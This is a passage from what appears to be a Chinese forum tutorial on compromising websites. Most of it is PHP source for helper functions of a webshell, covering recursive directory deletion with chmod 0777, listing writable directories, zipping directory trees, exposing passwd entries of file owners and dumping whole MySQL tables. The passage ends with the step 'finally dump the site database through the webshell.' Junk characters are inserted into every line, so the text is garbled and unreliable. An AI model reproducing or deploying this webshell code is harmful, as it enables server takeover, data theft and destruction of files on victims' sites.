- return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];- m9 E5 k" P7 [8 `
- }% }' f- t8 `$ K5 [
- , a' ^2 } q, u: q6 {
- function getUser($filepath) {
6 \+ P/ [- s7 P" y# k - if (function_exists('posix_getpwuid')) {: r$ j# H+ S1 r6 N
- $array = @posix_getpwuid(@fileowner($filepath));
# r ^: g; S& i3 O# k - if ($array && is_array($array)) {
* v0 A4 q; m3 Q+ \ - return ' / <a href="#" title="User: '.$array['name'].'
4 p2 n; O% i( z5 _; J+ t/ d - Passwd: '.$array['passwd'].'
7 x3 M, Z4 Q% K/ i6 _; [ - Uid: '.$array['uid'].'
; N7 o/ x9 i1 X! N8 o' |+ w - gid: '.$array['gid'].'
6 F7 ]: r$ m9 i2 g/ v8 @ - Gecos: '.$array['gecos'].'
5 i% [) ]3 d' }- J2 T. k5 H. ] - Dir: '.$array['dir'].'
- B7 e0 l( U- G1 T6 `' L% a) f - Shell: '.$array['shell'].'">'.$array['name'].'</a>';
3 e! U- N5 [0 ^$ _! i6 W - }) O$ J }" b; A; B5 o
- }0 B) A" K% K& j- J
- return '';/ Z- p) J' m/ M! i/ a6 Z
- }
/ o* x& ^4 y% i -
$ H1 K! e0 z: m8 p - // 删除目录
7 x) ^* w! g0 [# R. b3 g; c1 T - function deltree($deldir) {
- Y& N% h1 W5 a, s5 H - $mydir=@dir($deldir); ! h% t5 ?4 b+ D; z$ a9 w1 X3 m
- while($file=$mydir->read()) { 4 h# t; r; a# Y, J
- if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) { ' E9 x6 u- B: r
- @chmod($deldir.'/'.$file,0777);7 D$ r: V& M& Z9 q5 ]
- deltree($deldir.'/'.$file);
, }8 a( U D$ \$ F8 T& I - }: G5 z" c5 o! J ~* r
- if (is_file($deldir.'/'.$file)) {( ], q' ~; b# |' b
- @chmod($deldir.'/'.$file,0777);
3 G2 n3 I _9 U- V( K" T - @unlink($deldir.'/'.$file);
, _" o j. A6 F* w: O - }9 a+ B& q, N. i5 x5 S- ^5 y
- }
# Z" t. r/ m( v - $mydir->close();
+ G2 A N5 l0 I( _2 _3 m- _7 s - @chmod($deldir,0777);' u/ j% W' X7 s8 N5 t
- return @rmdir($deldir) ? 1 : 0;3 j, L; b: d( @4 J
- }6 h* Z* M1 j7 |; O' x& C* |
- 1 h5 L; U# y- _# V. Q, S* z
- // 表格行间的背景色替换
* q9 D' \9 B# c+ {+ }7 k - function bg() {. A, E* K5 m( c( ?/ ~# K. S1 r
- global $bgc;
% S, n6 Z1 n% m, d; o5 s* d - return ($bgc++%2==0) ? 'alt1' : 'alt2'; K) D0 L. K& B% u
- }% S) V+ _( f: O; P/ M& n
-
. J- W3 _: _# T7 P - // 获取当前的文件系统路径$ G, D) q7 M9 c2 F
- function getPath($scriptpath, $nowpath) {& E& Y* r' f( o6 x
- if ($nowpath == '.') {- R5 R! k3 x; @0 D
- $nowpath = $scriptpath;9 F+ r$ p) D7 n1 w3 h3 x! B
- }! q, j+ p& {: c% H8 U% F% z( C
- $nowpath = str_replace('\\', '/', $nowpath);7 j+ e' v$ E* N3 E
- $nowpath = str_replace('//', '/', $nowpath);- w3 e5 J7 d2 M
- if (substr($nowpath, -1) != '/') {
* T1 K2 Y, n4 Y r0 @ - $nowpath = $nowpath.'/';
. @( Y( i( w6 I5 A3 h8 r - }
+ T8 l q3 L' K - return $nowpath;
$ g7 X. _; \$ S* \0 u1 D4 X, j - }; H9 X' O# D$ B* D7 |% e
-
2 @4 M4 ?! ^! w* G1 Y - // 获取当前目录的上级目录2 a2 G) i6 J; F
- function getUpPath($nowpath) {
7 e) I3 l& g$ k# t$ n- N. g' l - $pathdb = explode('/', $nowpath);" `/ L' l+ N. L: ~; y
- $num = count($pathdb);
5 n" N Z) }( @" c+ [ - if ($num > 2) {
" k! j2 v& A/ @& T9 \( w8 k9 x - unset($pathdb[$num-1],$pathdb[$num-2]);
% y9 s1 G+ w, ~0 }4 g - }& l6 a$ F; F' Q+ {3 W
- $uppath = implode('/', $pathdb).'/';. V+ Z M/ L: p( D6 q/ t( C4 [
- $uppath = str_replace('//', '/', $uppath);
& ~2 j! U/ ^- X; r& @, f( U - return $uppath;
0 Q; J' j( {2 G - }4 {+ ?/ E( O! M( w
-
$ L+ I+ e1 O1 _# r; Y; x - // 检查PHP配置参数! O- }7 l1 v- B; h; b' I) F, o* U* `
- function getcfg($varname) {& c! p1 Y. F" H. I+ R
- $result = get_cfg_var($varname);
5 g% X9 ^3 O5 G0 A @4 t3 r - if ($result == 0) {
& |4 o# B( B1 ]* w d, C: P" @ - return 'No';3 {0 f0 k, F, [" M
- } elseif ($result == 1) {
8 F8 b6 K5 n7 j; D& d& | - return 'Yes';- z0 p1 R' m4 I5 @% G$ E+ S; a
- } else {/ b# N6 ~& m8 w+ [
- return $result;
0 A! {0 k9 k9 k - }* M1 I% y# o# V& ], n& R
- }: c ~$ W! t! h& z g5 i! X
- % r5 A3 K4 N: K& d3 B/ {+ T2 W
- // 检查函数情况
8 i' c! j7 m2 l! ]. Q0 V - function getfun($funName) {! K& G) e2 c9 A6 i5 x" R% _' L( p
- return (false !== function_exists($funName)) ? 'Yes' : 'No';
* a1 W+ |$ d* ^- P( c3 t - } u0 F" f6 n, ^. H5 }$ ~
-
C' L$ o z( _( E5 I" T, X! X - function GetList($dir){8 t% g9 S% d# ]8 S3 P
- global $dirdata,$j,$nowpath;9 `( l& F0 l) |- G
- !$j && $j=1;
) T( x& l" e0 r2 f - if ($dh = opendir($dir)) {
0 I0 P% m8 i5 |5 ~7 B1 z% Q# ~ - while ($file = readdir($dh)) {) f" J: a9 Y2 r5 U% C/ v
- $f=str_replace('//','/',$dir.'/'.$file);2 J, Q9 g- C" N: D; Z4 x+ G: E
- if($file!='.' && $file!='..' && is_dir($f)){. P; R0 U7 T/ {" |1 {9 p' {& m
- if (is_writable($f)) {; k0 t( j$ c+ m) i3 S
- $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
+ q; r' p3 c5 J# ?2 b' T) K; ~. P - $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));8 ]( A5 |9 e# Z; e: Q+ H% e7 D
- $dirdata[$j]['dirchmod']=getChmod($f);8 s8 \ P: b9 S8 F, ?' Y
- $dirdata[$j]['dirperm']=getPerms($f);
/ n) a/ l3 o0 \, h - $dirdata[$j]['dirlink']=ue($dir);" K- d+ P a4 w3 n) N$ E
- $dirdata[$j]['server_link']=$f;3 E( Y, w; c; ~9 c @: v
- $dirdata[$j]['client_link']=ue($f);2 p$ k9 m# Q5 Z N) q
- $j++;
8 b: Q- P1 Z& @; `9 w - }" m8 m" W- E3 B; P
- GetList($f);! K$ J3 D& ` @! N% e' c& Y
- }
3 z5 F; J1 O F1 A( m# S4 l - }, Y* z b5 f( K Q: Z5 f
- closedir($dh);" [. E! g. O/ a6 x
- clearstatcache();
, \" F& O8 x0 J; E* V - return $dirdata;
, s- d6 K" C, n% s6 i% ? - } else {9 M6 S) b4 t) k/ {. }, ?/ a
- return array();
5 `; N: P& K: u9 ]5 R3 m4 j, N1 t - }
, I: l T @' V - }& [! |# g/ e! V9 p
- 4 l8 y% b6 [- [
- function qy($sql) {
7 E8 i. I7 z5 y* l - //echo $sql.'<br>';
: w3 b1 C3 n+ H6 I) _ - $res = $error = '';
0 }0 s& e" N" `0 z8 W( d3 i i - if(!$res = @mysql_query($sql)) { ; Y2 P% I6 s2 W5 ?9 ~% Y/ G
- return 0;) Y. u' E2 x" X$ g# @: X
- } else if(is_resource($res)) {
# }& I. e* z2 v. c! t - return 1;
* X( }2 o9 P, u. \4 C5 Y- x" j - } else {/ ]3 L2 C( y; L9 l8 z/ w+ l
- return 2;
0 B9 [" s0 y- o) L. d - } ( J. y. n" U( P& R* A
- return 0;) {" S' } q" L( R
- }
7 D4 F, `8 l: M; u. v; }4 l - # _0 v% X" U, O; ]! n+ ~
- function q($sql) { ) P$ c$ Y! w9 f9 ^9 s* H# n1 F& t( ?$ S
- return @mysql_query($sql);
( K- }4 Y$ L) @" { - }) d# o/ H) p) V% a' ^# _
- * }$ g; Q* z3 P' o6 e
- function fr($qy){
& f% ~6 c' D* r3 C2 {6 u4 i - mysql_free_result($qy);
: o& }, a# t, i - }
V0 w( ?8 Y* K; K# g5 b - % B8 G3 m- F& u% p; v
- function sizecount($size) {
: a) n, Z3 l0 I, E2 E: K) n) w - if($size > 1073741824) {
$ C. Y" C! K5 a) c# H - $size = round($size / 1073741824 * 100) / 100 . ' G';. |# n. h9 F5 w1 }* c' P
- } elseif($size > 1048576) {" c& C0 i8 F9 U( J
- $size = round($size / 1048576 * 100) / 100 . ' M';& \8 R X' S: Q, t
- } elseif($size > 1024) {' H0 u* ?, o o- M4 u0 g% W) D
- $size = round($size / 1024 * 100) / 100 . ' K';
) K: @7 R" Y0 A6 O - } else {
3 P- C0 r6 T7 t - $size = $size . ' B';
% E8 x- }4 i7 D5 y4 q7 }9 d - }
- ? R$ ]- J4 W& D' h - return $size;& ~4 ~3 b( z7 @5 _0 h
- }
; x8 J @6 P T -
; f1 J; y+ n$ J3 _1 W3 f2 O6 I" O - // 压缩打包类
- j L/ i% M; h; d( F$ H - class PHPZip{
0 ~# L3 j- G" _" ^0 k! a - var $out='';
9 m) b1 H8 ]) Y f, D2 p& P! i, P! P - function PHPZip($dir) {
0 h! ?6 p7 o/ q4 t* ]' ~) h D - if (@function_exists('gzcompress')) {! P, v! t J5 S' _8 y
- $curdir = getcwd();7 [8 k7 Q0 F+ h. f* H
- if (is_array($dir)) $filelist = $dir;
5 T! z& t6 v6 L. ^ - else{
6 ]' @' }9 q4 n/ i. ^0 v9 ~ - $filelist=$this -> GetFileList($dir);//文件列表& V. l( ]3 Z3 g" r" d6 n/ E
- foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
! T4 ?; |# c: s8 c4 Y: f - }3 r2 p/ t1 y L% w6 `- Y' @" c" j
- if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);% }' n$ p' Q R1 K$ ^' v
- else chdir($curdir);
& O# M8 N8 k2 Z8 v% X7 g - if (count($filelist)>0){+ N# [7 N' S" Z4 s0 ]
- foreach($filelist as $filename){: N. W8 b4 W2 b- w
- if (is_file($filename)){1 t' p) l% j" {9 q% E
- $fd = fopen ($filename, 'r');
* M/ W; B R a( P: R0 R, S8 c - $content = @fread ($fd, filesize($filename)); | e5 `5 k' ?; D( F! V" ?
- fclose ($fd);
+ e% l5 L$ N) L3 @; Y7 E6 x$ k - if (is_array($dir)) $filename = basename($filename);6 @3 l$ e- N5 C. q; p1 M6 i
- $this -> addFile($content, $filename);
2 E6 S- h1 `$ q7 O - }
0 [3 }9 y# Y) }7 ^+ v0 Z6 ~( B$ [ - }
0 m+ ]* d5 U. d3 M. O - $this->out = $this -> file();
% d: q5 |; ^' s1 h) o& h8 ~2 ` - chdir($curdir);/ i& _" A: c* a: d/ _' s) }# T! R) \
- }1 h9 g# R& ]1 L! b/ z; r6 y& D
- return 1;
, l% ^! _. e8 G7 Q4 ~2 a - }
% Y3 i& u* [: S& p5 o! H3 f - else return 0;) {0 D; O+ T. E I" c. }# F$ }
- }: W7 o6 N! S' ?/ }9 C0 E9 g7 O& G- p% Z8 d/ C
- ; K" j0 T+ ^# S! I. f% R
- // 获得指定目录文件列表3 }7 j9 e0 `& R4 [
- function GetFileList($dir){
" r" z" o4 j$ n4 |' j1 ^ - static $a;" f% T6 }. b% L/ `
- if (is_dir($dir)) {
" U/ q X7 W0 Q9 z - if ($dh = opendir($dir)) {; r' D6 h$ M% l: s2 f3 z8 C8 v
- while ($file = readdir($dh)) {7 |2 G: T& m( Z/ [( P7 M- T* Q# C* ]
- if($file!='.' && $file!='..'){
1 k) p5 C, O2 y+ `0 o1 \2 S - $f=$dir .'/'. $file;
3 n+ n9 p ^& G! c - if(is_dir($f)) $this->GetFileList($f);
: T+ ]1 |% w# G - $a[]=$f;) Q. C, v- N& H! `+ g
- }5 S+ m. f& s9 _
- }
c' R% X: x% g% K: y" L - closedir($dh);" }' x. k3 U4 i$ y/ {
- }; F, I! L$ D7 T( T
- }
: h+ M2 d r) \1 C1 _ - return $a;! G; A3 J& x, m, K
- }
& M; {& V) A8 Q6 z7 @! O -
, ~' ], v: T" F w% \$ y# D - var $datasec = array();
% z) V8 C% V, X* ]$ b' r* K) _ - var $ctrl_dir = array();
1 I: z6 U6 Z! C, ? - var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
2 c9 e" b! @$ f& h! X s - var $old_offset = 0;4 Z5 F) L0 N, E0 l n) } ^( ^
- * ?' w8 Q: m/ t( Q
- function unix2DosTime($unixtime = 0) {
/ S/ X+ y2 w; ^# t) I/ o - $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);8 G0 G" P7 e! V) C! [ ?1 `) E
- if ($timearray['year'] < 1980) {
% \" U. S* L' r% X- R- l4 a0 Q+ { - $timearray['year'] = 1980;
" u' n u$ D. C - $timearray['mon'] = 1;
2 l& \9 Q4 X7 Y0 e0 L( F - $timearray['mday'] = 1;
& E& _ ^0 [4 s# B* r - $timearray['hours'] = 0;( P8 ~4 m( T6 B I
- $timearray['minutes'] = 0;
; Q; `- g. I5 i* a, G) m) h - $timearray['seconds'] = 0;
5 E% d; u5 ^5 m/ k1 @1 w - } // end if1 c2 ?8 j5 h0 i# v/ k8 N5 C, Z& d
- return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |6 v G- `6 p2 l( s$ H
- ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
+ w: f- ~5 s7 h" H - }
7 r2 e5 K: r+ }9 N! W. t - function addFile($data, $name, $time = 0) {
* }4 E3 x v! j9 r - $name = str_replace('\\', '/', $name);
! V9 U# `8 }% Y6 R4 j+ k - $dtime = dechex($this->unix2DosTime($time));
4 R) ~8 b+ Y5 S1 i4 |9 W! K - $hexdtime = '\x' . $dtime[6] . $dtime[7]8 S/ Z- x0 X$ n' d- U
- . '\x' . $dtime[4] . $dtime[5]
' v# A7 j$ h; d# {( E) n - . '\x' . $dtime[2] . $dtime[3]
: \, h$ D( Q" O - . '\x' . $dtime[0] . $dtime[1];
. d- y% S6 M4 x- s - eval('$hexdtime = "' . $hexdtime . '";');
f4 h1 H/ w# |& p5 u- `% u- y - $fr = "\x50\x4b\x03\x04";+ y( i0 w2 F \; v3 h9 m
- $fr .= "\x14\x00";. g+ n7 _* S$ J9 P
- $fr .= "\x00\x00";
3 Y% w0 I/ w: a - $fr .= "\x08\x00";
- Q7 X( r3 U1 F; ?" s; ^ - $fr .= $hexdtime;
1 e9 r" ?# {+ O: E6 { - $unc_len = strlen($data);; c9 C8 x: F( T+ A8 ^ `
- $crc = crc32($data);# n4 [+ |/ C. ]+ H& M
- $zdata = gzcompress($data);' R* I# T1 U/ X; {" L4 g
- $c_len = strlen($zdata);, r8 b K; \- S; S+ b+ |
- $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
# Q/ z) z3 h4 J - $fr .= pack('V', $crc);1 h" F$ g1 k( ?) S& l7 j
- $fr .= pack('V', $c_len);
) j6 m% a7 G6 V T - $fr .= pack('V', $unc_len);
, s( i7 O9 `3 p2 T) B+ f - $fr .= pack('v', strlen($name));
4 K( M, @3 S8 j* @" i3 ` - $fr .= pack('v', 0);
5 J; _, I# [/ C( k - $fr .= $name;2 Y7 G3 m t# E
- $fr .= $zdata;
( F$ S" J# m% G% D - $fr .= pack('V', $crc);/ I+ v0 V" h" y
- $fr .= pack('V', $c_len);
; l6 q" b9 k0 n - $fr .= pack('V', $unc_len);
% L. w) B1 C/ l! c9 m$ ` - $this -> datasec[] = $fr;
2 r- n% P+ l0 F- g - $new_offset = strlen(implode('', $this->datasec));! T2 F8 z. j2 m! {
- $cdrec = "\x50\x4b\x01\x02";
* G, {$ m, S- M* c+ Y) w2 a; ` - $cdrec .= "\x00\x00";
8 H( Q1 g( O/ K5 l: Y/ R - $cdrec .= "\x14\x00";0 w* } V. N, S/ _
- $cdrec .= "\x00\x00";- p, e, h5 W2 W3 v2 X0 J7 k" @
- $cdrec .= "\x08\x00";
) q2 c0 f% ? b' ] - $cdrec .= $hexdtime;
/ u/ }$ J9 F# d6 f% x - $cdrec .= pack('V', $crc);
- u/ _. w$ p" G$ ] - $cdrec .= pack('V', $c_len);/ ]7 A _1 F$ J, O( Z
- $cdrec .= pack('V', $unc_len);
: R" w( a: |" k2 f7 v - $cdrec .= pack('v', strlen($name) );2 g% f; V% |0 Z. k+ y
- $cdrec .= pack('v', 0 );, Q: ~+ t' o% e
- $cdrec .= pack('v', 0 );/ N Y! p6 d2 n3 B# X) ?+ ~
- $cdrec .= pack('v', 0 );# Z( S1 \# \9 [+ N3 O) F1 m
- $cdrec .= pack('v', 0 );
# `" C8 M7 D4 B4 Z - $cdrec .= pack('V', 32 );
U6 |) x2 R* Y - $cdrec .= pack('V', $this -> old_offset );3 P0 V% T* F; i1 K! g, O
- $this -> old_offset = $new_offset;
0 M9 F; g, e1 R- `, \3 u6 H - $cdrec .= $name;5 K; B" C( i& p" ^0 Q% K
- $this -> ctrl_dir[] = $cdrec;+ u7 A \2 l5 h# |2 u
- }6 g! N* I) h/ v* x: S5 n N) X
- function file() {
h' b) U! f$ R- d - $data = implode('', $this -> datasec);
9 {6 w$ W: f+ o/ ^+ K |) Z - $ctrldir = implode('', $this -> ctrl_dir);$ A# ?8 \4 m# Q% D
- return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
% Q- o, M; @$ {. L, d4 \& a - }! Q2 _0 X) ]" S' ~
- }
' T- D* e+ x2 [ T) X. w* n - // 备份数据库
0 T1 W+ w& J; G/ V - function sqldumptable($table, $fp=0) {
1 p- [! c* c) U% X8 n - $tabledump = "DROP TABLE IF EXISTS $table;\n";
+ k8 {" ~& p; A/ U; n J& S - $tabledump .= "CREATE TABLE $table (\n"; U2 g D$ a4 H
- $firstfield=1;
: h8 Y. U. {% c# n" ?+ C* s8 Q - $fields = q("SHOW FIELDS FROM $table");% l" [+ {$ T! s" v. ^ Q
- while ($field = mysql_fetch_array($fields)) {( s0 F0 d9 K& {! {
- if (!$firstfield) {
0 {6 F- k% N' ^0 e5 |, j - $tabledump .= ",\n";
& y0 k: |( Z) ~ - } else {
! e7 n0 _6 @1 A1 c* [; _8 S - $firstfield=0;
* C4 O; K, r, L: l - }
% B& X9 I2 V- s+ n - $tabledump .= " $field[Field] $field[Type]";# I. K# _# F/ g$ J; d
- if (!empty($field["Default"])) {% f9 \, T, r3 f+ W+ n" q* ?
- $tabledump .= " DEFAULT '$field[Default]'";
$ i3 g' F) p: N# ?% r+ J - }
- \: e7 F5 k' r) o3 N j( } - if ($field['Null'] != "YES") {# e C0 p8 c" o2 d. _" M
- $tabledump .= " NOT NULL";
% u% w# E) G2 s, }% P/ d+ _$ u1 Y - }$ c8 e4 D0 S A9 c8 q8 @
- if ($field['Extra'] != "") {7 D, ]$ T x+ M5 U+ g8 g
- $tabledump .= " $field[Extra]";* c# v( V! M9 X j- |; s ^! x" q
- }
( e( w& ]- a/ K0 I) {, j. h- p/ ` - }. h5 Q* @1 {/ l( d B' g
- fr($fields);2 T2 q8 U/ }6 r$ h
- $keys = q("SHOW KEYS FROM $table");
: `. U) H$ m4 f5 h - while ($key = mysql_fetch_array($keys)) {6 |0 T' U8 B0 h5 `* G' S; p/ x$ O
- $kname=$key['Key_name'];
4 O. X) F3 N( v& v: Z - if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {0 h& J$ r, V9 H$ v# j
- $kname="UNIQUE|$kname";# M8 X8 b% L# l; R
- }
* a- x) K1 b i5 I, n" M9 r - if(!is_array($index[$kname])) {9 R v2 K6 c0 l0 U3 r y
- $index[$kname] = array();
! r" {) E- K8 }$ |* S9 I - }
m6 H9 O4 r1 u) Z - $index[$kname][] = $key['Column_name'];
0 B2 H1 t% p7 E' t/ z. B5 c( Z/ j7 @1 q - }5 q5 Y- |) ~, }. N; e, s
- fr($keys);6 I3 |* ?' ~6 K. P, Z( D) I6 j
- while(list($kname, $columns) = @each($index)) {% J/ t" X1 b/ @( C& }. L
- $tabledump .= ",\n";
7 X* P# t N8 r8 N - $colnames=implode($columns,",");
% t8 c% U- K8 k6 O* u' \! l - if ($kname == "PRIMARY") {
3 \: a4 ^" G( Q/ G6 T0 ]+ [7 K: N - $tabledump .= " PRIMARY KEY ($colnames)";5 H5 E% b) k; n
- } else {. Y! j/ M: x9 T$ U- N6 {8 Y
- if (substr($kname,0,6) == "UNIQUE") {1 F X v! |: }! V3 N' r, P
- $kname=substr($kname,7);
6 a) P1 _( ?3 k, | O6 ]& v4 ^ - }
4 J8 T2 M$ X3 P$ ^. E* M9 B- [# j - $tabledump .= " KEY $kname ($colnames)";
; }* @9 i- K2 b4 L- c) r - }
% L. [2 o) w% L% b Q, g - } k8 Z6 M. Q3 Q0 \& U) Q
- $tabledump .= "\n);\n\n";
$ }. F( c' |( p! L" z* K/ Z5 M - if ($fp) {0 U& |' T( o: V# \, |4 Z5 b9 N) i( V
- fwrite($fp,$tabledump);
! p" k/ h) a$ z1 G6 f5 @ - } else {) f1 j" u7 X; z! q
- echo $tabledump;; q4 g$ l' O2 `$ m
- }5 C2 ~* b0 e; M7 U
- $rows = q("SELECT * FROM $table");
5 G/ y6 |8 k Q! w; w6 S, o3 R - $numfields = mysql_num_fields($rows);+ \: X4 K% y# W) b7 C" I8 ^
- while ($row = mysql_fetch_array($rows)) {
5 F) {4 p; g) O6 g: c+ B$ Q1 T7 E5 O9 C - $tabledump = "INSERT INTO $table VALUES(";! }6 @# E4 P, \/ A D
- $fieldcounter=-1;1 M( {# B, m# X: [% z
- $firstfield=1;
$ j$ D5 B5 C) u - while (++$fieldcounter<$numfields) {
& p2 j8 X: B4 o3 b9 Z - if (!$firstfield) {, {8 @% c- Z6 T B
- $tabledump.=", ";
+ F0 \# W* r3 z( u+ A" K: Y - } else {
; e$ }# g3 r h$ Q - $firstfield=0;9 B8 p; t7 L, F6 Y* Y
- }
$ I' _0 S8 c8 Z5 M* |# E# i - if (!isset($row[$fieldcounter])) {1 e! \/ N! V+ I9 D% q; V
- $tabledump .= "NULL";- @% i ]- T! c, o
- } else {( X- o) G1 b8 S% G8 b& f5 r
- $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
3 ~# @- Z/ t0 w# x; l - }: c0 J/ \+ s+ [4 x1 N3 J
- }. Q$ [' k! E$ A# r( @
- $tabledump .= ");\n";+ j* w' ~, z* b' w( K) ]
- if ($fp) {
, o( ~0 \& L3 J5 G9 U - fwrite($fp,$tabledump);
( l/ ~( _, E7 q - } else {- u! D: s: g; P( L" m/ S' i4 R5 a
- echo $tabledump;
0 P* O! Q( M# m2 K: M - }+ Q7 r' W) g0 q6 E' u
- }; ^' K2 \6 S1 a. t4 @
- fr($rows);
/ R' `" D) p" ~ - if ($fp) {7 C+ M& e7 p+ V- \5 W: X) J1 H- s
- fwrite($fp,"\n");& ~) f" `6 ~# [2 D% F6 p
- } else {
- O8 d( p% y5 m, r* n7 X - echo "\n";+ W2 l& j+ S+ G* _6 _, H) @
- }: j* c$ d {4 k5 a% E3 I
- }. {, [& U- N4 @ C2 X& B# t
- function ue($str){0 G. e$ e5 ?* }5 {
- return urlencode($str);# W- H4 u/ ^5 c- a/ h# f1 w2 T
- }" u: `& e( {, X0 e
- function p($str){
5 Z5 S9 c0 k0 @- K6 [ - echo $str."\n";) N/ K/ Y8 }2 m
- }
* s0 a0 C8 v$ w- D/ y - function tbhead() {
8 ]) J8 D- d2 c& G - p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
) r! N7 [5 B# C4 s) Y& B) I) t6 A - }
0 t9 _; }, r u1 ^6 H$ N - function tbfoot(){% N( h# Z* M5 v6 c
- p('</table>');3 _; ~& w" H; P. D& b a1 M* T" {
- }
8 y. k! S9 W) J% q- Q - function makehide($name,$value=''){
+ u# @- t- O, b& u6 `8 Q( r - p("<input id="$name" type="hidden" name="$name" value="$value" />");
$ G* e- A. h t3 \# d: J1 f# P: A - }! I2 c' M: n7 U% U+ ?5 C$ r
- function makeinput($arg = array()){# i5 |( P2 n t) Q% Y/ i; f" B
- $arg['size'] = $arg['size'] > 0 ? "size="$arg[size]"" : "size="100"";. _4 p# z5 d8 f6 ^
- $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';7 m% \7 l4 Y# D# p1 A, f
- !$arg['type'] && $arg['type'] = 'text';
) G$ @( e6 ?! m - $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';9 J4 W4 Q) g; j+ U. x7 t5 C2 ]
- $arg['class'] = $arg['class'] ? $arg['class'] : 'input';7 k0 ?' i, }. Q2 M5 N; k5 j
- if ($arg['newline']) {
7 \' ]" p. K2 c) C1 \: Q( i - p("<p>$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] /></p>");$ _' R% {/ B! q& J0 \
- } else {# C$ ^4 j) w+ q1 Y" ?/ N/ H7 d
- p("$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] />");
- h4 m6 }0 m! V" A# R+ \ - }5 o' f9 Y) ]% |$ h* _3 }* W
- }
0 q; R0 J: n* V; ~ - function makeselect($arg = array()){, c+ [7 Y% [9 r, b
- if ($arg['onchange']) {+ I/ q9 d1 o/ `, z+ r- |
- $onchange = 'onchange="'.$arg['onchange'].'"';
* M8 G+ N( z8 f y) J6 F: `: A+ @ - }
4 r. f `( r4 e - $arg['title'] = $arg['title'] ? $arg['title'] : '';/ v4 S. y) ]+ d. ^& _. f' o# d2 q4 @
- if ($arg['newline']) p('<p>');4 m" r: W4 z1 a( O R) Y; M
- p("$arg[title] <select class="input" id="$arg[name]" name="$arg[name]" $onchange>");/ }- |; v9 s1 T$ d) o7 V4 n8 ^9 Z1 e
- if (is_array($arg['option'])) {
0 u6 a% D1 X8 X# W1 |3 V - foreach ($arg['option'] as $key=>$value) {
3 E& ~1 J" S w# d - if ($arg['selected']==$key) {+ @' q+ c% b% ~) S, b. E. l
- p("<option value="$key" selected>$value</option>");
# y% @5 Y# n# M( P& M8 E) S2 v - } else {
& p- y" T+ N9 T* M. @! Y! t/ }! b - p("<option value="$key">$value</option>");- l q3 O) _. X# R
- }
V6 f9 d- [$ R; q - }
" |+ X/ `" n4 I" Q6 } - }
) T- l* }' h: V2 q9 P; y - p("</select>");- v8 O' c( h8 @, y. i y
- if ($arg['newline']) p('</p>');
) b9 t9 D! } m1 U0 L2 a - }
( o+ ]( g1 A8 x5 s9 J5 t5 S5 p - function formhead($arg = array()) {* f q9 L9 u+ O! n3 [ @2 l
- !$arg['method'] && $arg['method'] = 'post';$ t$ {7 N% D: `4 H
- !$arg['action'] && $arg['action'] = $self;8 G7 D1 m: x" W. h4 f$ Q
- $arg['target'] = $arg['target'] ? "target="$arg[target]"" : '';* t( w& G8 l5 W- f* T8 |
- !$arg['name'] && $arg['name'] = 'form1';
" Z+ E9 ~8 Y3 ?' ]) c7 | - p("<form name="$arg[name]" id="$arg[name]" action="$arg[action]" method="$arg[method]" $arg[target]>");
8 g4 O4 m# `7 r8 [ - if ($arg['title']) {
- h5 W$ _ K# [1 ^6 C - p('<h2>'.$arg['title'].' »</h2>');
' Q% k7 v6 ^$ E- d& U8 V8 _+ B - }$ H' G. w+ H' ]1 M8 y3 P
- }, L) {+ o- z0 B: D
-
4 \( }: Y% `3 j - function maketext($arg = array()){
7 h0 X X- L) ], p' p" u - !$arg['cols'] && $arg['cols'] = 100;% E, I+ `. O1 `
- !$arg['rows'] && $arg['rows'] = 25;+ `+ Z+ u4 W W& g
- $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';7 {% q p" j' X; f; C$ s
- p("<p>$arg[title]<textarea class="area" id="$arg[name]" name="$arg[name]" cols="$arg[cols]" rows="$arg[rows]" $arg[extra]>$arg[value]</textarea></p>");7 F9 v( ^2 o* V+ j
- }+ g5 Q$ l v0 v+ t" V
-
% K5 Q% L% |% T4 Z1 K3 t - function formfooter($name = ''){, u4 k# ~% g% y- ~+ T7 N6 k
- !$name && $name = 'submit';
9 Y2 }+ a, B3 L- M5 L% f( O' v - p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Submit"></p>');
8 C" I, V6 z9 \ - p('</form>');% a) I! P) M) X1 W, U2 J
- }
7 {5 d( W7 e8 w# G: c0 B, N - ; |. h% M1 r& g, i
- function formfoot(){' y. |( q9 C& f( v9 p) s/ c! z y
- p('</form>');
- C, P# J, p0 M5 ?! K6 ` - }: z0 P# ^! ?4 g) d& U( y) i1 ~
- D0 D* R$ ?6 d7 \
- // 调试函数
$ h Y! |& |6 H - function pr($a) {! b ^4 U, Y9 X5 w6 G4 _
- echo '<pre>';- m5 k6 ^3 h1 P% J; Z8 T
- print_r($a);: b9 J9 E, E6 S
- echo '</pre>';- e$ g7 ]1 J( L2 H. v
- }
$ E% p' M2 S) Q -
, A( ~3 J2 ?. [0 ^ - ?>
复制代码11、最后通过大码对网站数据库进行脱库
/ F" b$ I" C* M0 a, v
$ y/ ?: U+ B4 q q" Z8 V& h* V4 Y) c, L5 z B9 f; I+ a
|